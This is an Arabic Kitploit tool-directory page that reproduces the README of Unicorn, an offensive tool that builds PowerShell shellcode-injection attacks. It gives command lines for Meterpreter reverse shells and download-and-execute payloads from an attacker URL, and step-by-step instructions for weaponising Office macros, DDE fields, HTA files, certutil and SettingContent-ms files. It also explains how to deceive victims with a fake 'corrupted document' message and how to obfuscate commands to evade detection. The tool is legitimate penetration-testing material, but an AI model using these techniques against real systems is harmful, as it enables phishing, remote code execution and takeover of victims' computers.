Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
unicorn — Unicorn هي أداة بسيطة لاستخدام هجوم تخفيض مستوى PowerShell وحقن شيل كود مباشرة في الذاكرة. استنادًا إلى هجمات PowerShell لماثيو غرايبر وتقنية تجاوز PowerShell التي قدمها ديفيد كينيدي (TrustedSec) وجوش كيلي في مؤتمر Defcon 18. | Kitploit
أدوات/GitHubGitHub/trustedsec/unicorn
أدوات التصيدأطر الاستغلالتوليد الحمولةالتهرب من IDS/IPSشيل كوداستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالهندسة الاجتماعيةتطوير الحمولات
GitHubtrustedsec/unicorn

unicorn

3.9k823منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Unicorn هي أداة بسيطة لاستخدام هجوم تخفيض مستوى PowerShell وحقن شيل كود مباشرة في الذاكرة. استنادًا إلى هجمات PowerShell لماثيو غرايبر وتقنية تجاوز PowerShell التي قدمها ديفيد كينيدي (TrustedSec) وجوش كيلي في مؤتمر Defcon 18.

عرض المستودعالموقع الإلكتروني

unicorn

كتابة: ديف كينيدي (@HackingDave) الموقع الإلكتروني: https://www.trustedsec.com

Magic Unicorn هي أداة بسيطة لاستخدام هجوم خفض مستوى PowerShell وحقن شيل كود مباشرة في الذاكرة. بناءً على هجمات PowerShell الخاصة بـ Matthew Graeber وتقنية تجاوز PowerShell التي قدمها David Kennedy (TrustedSec) وجوش كيلي في Defcon 18.

الاستخدام بسيط، فقط قم بتشغيل Magic Unicorn (تأكد من تثبيت Metasploit إذا كنت تستخدم طرق Metasploit وفي المسار الصحيح) وسيقوم Magic Unicorn تلقائياً بإنشاء أمر PowerShell الذي تحتاج فقط إلى قصه ولصقه في نافذة سطر الأوامر أو من خلال نظام توصيل الحمولة. يدعم Unicorn شيل كود الخاص بك، Cobalt Strike، و Metasploit.

root@kitploit:~
root@rel1k:~/Desktop# python unicorn.py 

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:


aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

                
-------------------- Magic Unicorn Attack Vector -----------------------------

هجمات حقن PowerShell الأصلية ‎x86 على أي منصة ويندوز.
كتابة: ديف كينيدي في TrustedSec (https://www.trustedsec.com)
تويتر: @TrustedSec, @HackingDave
شكر وتقدير: Matthew Graeber، Justin Elze، Chris Gates

أتمنى لكم حظاً سعيداً مع Unicorns السحرية.

الاستخدام: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
مثال على PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
مثال على الماكرو: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
مثال على الماكرو CS: python unicorn.py <cobalt_strike_file.cs> cs macro
مثال على الماكرو Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
مثال على HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
مثال على HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
مثال على HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
مثال على DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
مثال على CRT: python unicorn.py <path_to_payload/exe_encode> crt
مثال على PS1 مخصص: python unicorn.py <path to ps1 file>
مثال على PS1 مخصص: python unicorn.py <path to ps1 file> macro 500
مثال على Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (تصدير CS بتنسيق C#)
مثال على Shellcode مخصص: python unicorn.py <path_to_shellcode.txt> shellcode (منسق 0x00)
قائمة المساعدة: python unicorn.py --help

-----تعليمات هجوم PowerShell----

تم إنشاء كل شيء الآن في ملفين، powershell_attack.txt و unicorn.rc. يحتوي الملف النصي على جميع الأكواد اللازمة لحقن هجوم PowerShell في الذاكرة. لاحظ أنك ستحتاج إلى مكان يدعم حقن الأوامر عن بعد من نوع ما. غالبًا ما يكون هذا من خلال مستند Excel/Word أو من خلال أوامر psexec داخل Metasploit، SQLi، إلخ. هناك الكثير من التطبيقات والسيناريوهات التي يمكنك استخدام هذا الهجوم فيها. ببساطة الصق أمر powershell_attack.txt في أي نافذة موجه أوامر أو حيث لديك القدرة على استدعاء الملف القابل للتنفيذ PowerShell وسيعطيك شيل مرة أخرى. يدعم هذا الهجوم أيضًا windows/download_exec كطريقة حمولة بدلاً من حمولات Meterpreter فقط. عند استخدام التحميل والتنفيذ، ببساطة ضع python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe وسيقوم كود PowerShell بتحميل الحمولة وتنفيذها.

لاحظ أنك ستحتاج إلى تشغيل مستمع لالتقاط الهجوم.

-----تعليمات هجوم الماكرو----

بالنسبة لهجوم الماكرو، ستحتاج إلى الذهاب إلى File، Properties، Ribbons، واختيار Developer. بمجرد القيام بذلك، سيكون لديك علامة تبويب المطور. قم بإنشاء ماكرو جديد، أطلق عليه Auto_Open والصق الكود المُنشأ فيه. سيتم تشغيله تلقائياً. لاحظ أنه سيظهر للمستخدم رسالة تفيد بأن الملف تالف وسيتم إغلاق مستند Excel تلقائياً. هذا سلوك طبيعي! هذا يخدع الضحية ليعتقد أن مستند Excel تالف. يجب أن تحصل على شيل من خلال حقن PowerShell بعد ذلك.

إذا كنت تنشر هذا ضد إصدارات Office365/2016+ من Word، فأنت بحاجة إلى تعديل السطر الأول من المخرجات من: Sub Auto_Open()

إلى: Sub AutoOpen()

يجب أن يكون اسم الماكرو نفسه "AutoOpen" بدلاً من تسمية "Auto_Open" القديمة.

ملاحظة: عند نسخ ولصق ملف Excel، إذا تمت إضافة مسافات إضافية، فأنت بحاجة إلى إزالتها بعد كل قسم من كود PowerShell تحت المتغير "x" وإلا سيحدث خطأ في الصياغة!

-----تعليمات هجوم HTA----

سيقوم هجوم HTA تلقائياً بإنشاء ملفين، الأول index.html الذي يخبر المتصفح باستخدام Launcher.hta والذي يحتوي على كود حقن PowerShell الضار. يتم تصدير جميع الملفات إلى مجلد hta_access/ وسيكون هناك ثلاثة ملفات رئيسية. الأول هو index.html، والثاني Launcher.hta، والأخير ملف unicorn.rc. يمكنك تشغيل msfconsole -r unicorn.rc لتشغيل المستمع الخاص بـ Metasploit.

يجب على المستخدم النقر على "السماح" والموافقة عند استخدام هجوم HTA حتى يعمل حقن PowerShell بشكل صحيح.

-----تعليمات هجوم CERTUTIL----

تم تحديد ناقل هجوم certutil بواسطة Matthew Graeber (@mattifestation) والذي يسمح لك بأخذ ملف ثنائي، وتحويله إلى تنسيق base64 واستخدام certutil على جهاز الضحية لتحويله مرة أخرى إلى ثنائي لك. يجب أن يعمل هذا على أي نظام تقريباً ويسمح لك بنقل ملف ثنائي إلى جهاز الضحية من خلال ملف شهادة مزيف. لاستخدام هذا الهجوم، ببساطة ضع ملفًا تنفيذيًا في مسار unicorn وقم بتشغيل python unicorn.py <exe_name> crt للحصول على مخرجات base64. بمجرد الانتهاء، اذهب إلى مجلد decode_attack/ الذي يحتوي على الملفات. ملف bat هو أمر يمكن تشغيله على جهاز ويندوز لتحويله مرة أخرى إلى ثنائي.

-----تعليمات هجوم PS1 مخصص----

تتيح لك طريقة الهجوم هذه تحويل أي ملف PowerShell (.ps1) إلى أمر مشفر أو ماكرو.

لاحظ أنه إذا اخترت خيار الماكرو، فقد يتجاوز ملف ps1 الكبير عدد الأحرف المسموح به من قبل VBA. يمكنك تغيير عدد الأحرف في كل سلسلة VBA عن طريق تمرير عدد صحيح كمعامل.

أمثلة:

root@kitploit:~
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500

سيستخدم الأخير سلسلة من 500 حرف بدلاً من 380 الافتراضية، مما يؤدي إلى عدد أقل من إرجاع العربة في VBA.

-----تعليمات هجوم DDE Office COM----

سينشئ ناقل الهجوم هذا صياغة DDEAUTO لوضعها في Word أو Excel. يسمح كائن COM DDEInitilize و DDEExecute بإنشاء صيغ مباشرة داخل Office مما يتيح القدرة على الحصول على تنفيذ كود عن بعد دون الحاجة إلى وحدات الماكرو. تم توثيق هذا الهجوم ويمكن العثور على التعليمات الكاملة على:

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

لاستخدام هذا الهجوم، قم بتشغيل الأمثلة التالية:

root@kitploit:~
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde

بمجرد الإنشاء، سيتم إنشاء ملف powershell_attack.txt الذي يحتوي على كود Office، وملف unicorn.rc الذي هو مكون المستمع ويمكن استدعاؤه بواسطة msfconsole -r unicorn.rc للتعامل مع مستمع الحمولة. بالإضافة إلى ذلك، سيتم تصدير download.ps1 أيضًا (موضح في القسم الأخير).

لتطبيق الحمولة، كمثال (من مقال sensepost):

  1. افتح Word
  2. Insert tab -> Quick Parts -> Field
  3. اختر = (Formula) وانقر على "موافق".
  4. بمجرد إدراج الحقل، يجب أن ترى الآن "!Unexpected End of Formula"
  5. انقر بزر الفأرة الأيمن على الحقل، واختر "Toggle Field Codes"
  6. الصق الكود من Unicorn
  7. احفظ مستند Word.

بمجرد فتح مستند Office، يجب أن تتلقى شيل من خلال حقن PowerShell. لاحظ أن DDE محدود بحجم الأحرف ونحتاج إلى استخدام Invoke-Expression (IEX) كطريقة للتحميل.

سيحاول هجوم DDE تحميل download.ps1 وهو هجوم حقن PowerShell الخاص بنا نظرًا لأننا مقيدون بقيود الحجم. ستحتاج إلى نقل download.ps1 إلى مكان يمكن لجهاز الضحية الوصول إليه. هذا يعني أنك بحاجة إلى استضافة download.ps1 في دليل Apache2 يمكنه الوصول إليه.

قد تلاحظ أن بعض الأوامر تستخدم "{ QUOTE" وهي طرق لإخفاء أوامر محددة كما هو موثق هنا: http://staaldraad.github.io/2017/10/23/msword-field-codes/. في هذه الحالة نقوم بتغيير WindowsPowerShell، powershell.exe، و IEX لتجنب الاكتشاف. تحقق أيضًا من عنوان URL حيث يحتوي على بعض الطرق الرائعة لعدم استدعاء DDE على الإطلاق.

-----استيراد Cobalt Strike Beacon----

ستقوم هذه الطريقة باستيراد شيل كود Cobalt Strike Beacon مباشرة من Cobalt Strike.

داخل Cobalt Strike، قم بتصدير تصدير "CS" (C#) من Cobalt Strike واحفظه في ملف. على سبيل المثال، سمِّ الملف، cobalt_strike_file.cs.

سيبدو كود التصدير شيئًا كهذا:

  • length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc

بعد ذلك، للاستخدام:

root@kitploit:~
python unicorn.py cobalt_strike_file.cs cs

تخبر الوسيطة cs Unicorn أنك تريد استخدام وظيفة Cobalt strike. والباقي سحر.

بعد ذلك ببساطة انسخ أمر PowerShell إلى شيء لديك القدرة على تنفيذ الأوامر عن بعد.

ملاحظة: يجب تصدير الملف بتنسيق C# (CS) داخل Cobalt Strike ليتم تحليله بشكل صحيح.

هناك بعض المحاذير مع هذا الهجوم. لاحظ أن حجم الحمولة سيكون أكثر بقليل من 14 كيلوبايت من حيث حجم البايت. هذا يعني أنه من منظور وسيطة سطر الأوامر إذا قمت بالنسخ واللصق، فستصل إلى حد حجم الأحرف 8191 (مضمن في cmd.exe). إذا كنت تقوم بالإطلاق مباشرة من cmd.exe فهذه مشكلة، ومع ذلك إذا كنت تقوم بالإطلاق مباشرة من PowerShell أو تطبيقات أخرى عادية فهذه ليست مشكلة.

بعض الأمثلة هنا، يستخدم wscript.shell و PowerShell USHORT - 65535 / 2 = 32767 حد الحجم:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

بالنسبة لهذا الهجوم إذا كنت تقوم بالإطلاق مباشرة من PowerShell، VBSCript (WSCRIPT.SHELL)، فلا توجد مشكلات.

-----طريقة إنشاء شيل كود مخصص----

ستسمح لك هذه الطريقة بإدراج شيل كود الخاص بك في هجوم Unicorn. سيزيد كود PowerShell من حجم مكدس powershell.exe (من خلال VirtualAlloc) ويحقنه في الذاكرة.

لاحظ أنه لكي يعمل هذا، يجب أن يكون ملف txt الذي توجه إليه Unicorn منسقًا بالتنسيق التالي أو لن يعمل:

0x00,0x00,0x00 وهكذا.

لاحظ أيضًا وجود قيود على الحجم. لا يمكن أن يتجاوز إجمالي طول أمر PowerShell حجم 8191. هذا هو الحد الأقصى لحجم وسيطة سطر الأوامر في Windows.

الاستخدام:

root@kitploit:~
python unicorn.py shellcode_formatted_properly.txt shellcode

بعد ذلك ببساطة انسخ أمر PowerShell إلى شيء لديك القدرة على تنفيذ الأوامر عن بعد.

ملاحظة: يجب تنسيق الملف بشكل صحيح بتنسيق 0x00,0x00,0x00 ولا شيء آخر غير شيل كود الخاص بك في ملف txt.

هناك بعض المحاذير مع هذا الهجوم. لاحظ أنه إذا كان حجم الحمولة كبيرًا بطبيعته فلن يتسع في cmd.exe. هذا يعني أنه من منظور وسيطة سطر الأوامر إذا قمت بالنسخ واللصق، فستصل إلى حد حجم الأحرف 8191 (مضمن في cmd.exe). إذا كنت تقوم بالإطلاق مباشرة من cmd.exe فهذه مشكلة، ومع ذلك إذا كنت تقوم بالإطلاق مباشرة من PowerShell أو تطبيقات أخرى عادية فهذه ليست مشكلة.

بعض الأمثلة هنا، يستخدم wscript.shell و PowerShell USHORT - 65535 / 2 = 32767 حد الحجم:

root@kitploit:~
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

بالنسبة لهذا الهجوم إذا كنت تقوم بالإطلاق مباشرة من PowerShell، VBSCript (WSCRIPT.SHELL)، فلا توجد مشكلات.

-----طريقة امتداد SettingContent-ms----

أولاً، إذا لم تتح لك الفرصة، توجه إلى مدونة SpectreOps الرائعة من Matt Nelson (enigma0x3):

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

تستخدم هذه الطريقة نوع ملف محدد يسمى ".SettingContent-ms" والذي يسمح بالقدرة على كل من التحميل المباشر من المتصفحات (فتح + تنفيذ أمر) بالإضافة إلى نوع الامتداد من خلال التضمين في منتجات Office. ستركز هذه الطريقة تحديدًا على إعدادات نوع الامتداد لتنفيذ الأوامر ضمن ناقل هجوم PowerShell الخاص بـ Unicorn.

هناك طرق متعددة مدعومة مع ناقل الهجوم هذا. نظرًا لوجود حد لحجم الأحرف مع هذا الهجوم، فإن طريقة النشر هي HTA.

لفهم مفصل حول تسليح هذا الهجوم، قم بزيارة:

https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

الخطوات التي ستحتاج إلى القيام بها لإكمال هذا الهجوم هي إنشاء ملف .SettingContent-ms الخاص بك من إما مستقل أو hta. تدعم طريقة HTA Metasploit و Cobalt Strike وهجمات شيل كود المباشرة.

الطرق الأربعة أدناه حول الاستخدام:

HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA مثال على SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA مثال على SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
إنشاء .SettingContent-ms: python unicorn.py ms

الأول هو حمولة Metasploit، والثاني Cobalt Strike، والثالث شيل كود خاص بك، والرابع مجرد ملف .SettingContent-ms فارغ.

عند إنشاء كل شيء، سيتم تصدير ملف يسمى Standalone_NoASR.SettingContent-ms إما في الدليل الجذر الافتراضي لـ Unicorn (إذا كنت تستخدم إنشاء الملف المستقل) أو تحت مجلد hta_attack/. ستحتاج إلى تحرير ملف Standalone_NoASR.SettingContent-ms واستبدال:

REPLACECOOLSTUFFHERE

بـ:

mshta http://<apache_server_ip_or_dns_name/Launcher.hta.

ثم انقل محتويات hta_attack إلى /var/www/html.

بمجرد أن ينقر الضحية على ملف .SettingContent-ms، سيتم استدعاء mshta على جهاز الضحية ثم تنزيل ملف Unicorn HTA الذي لديه قدرات تنفيذ الكود.

شكر خاص وتقدير لـ Matt Nelson على البحث الرائع

تحقق أيضًا من: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/

الاستخدام:

root@kitploit:~
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms
تنزيل الأداة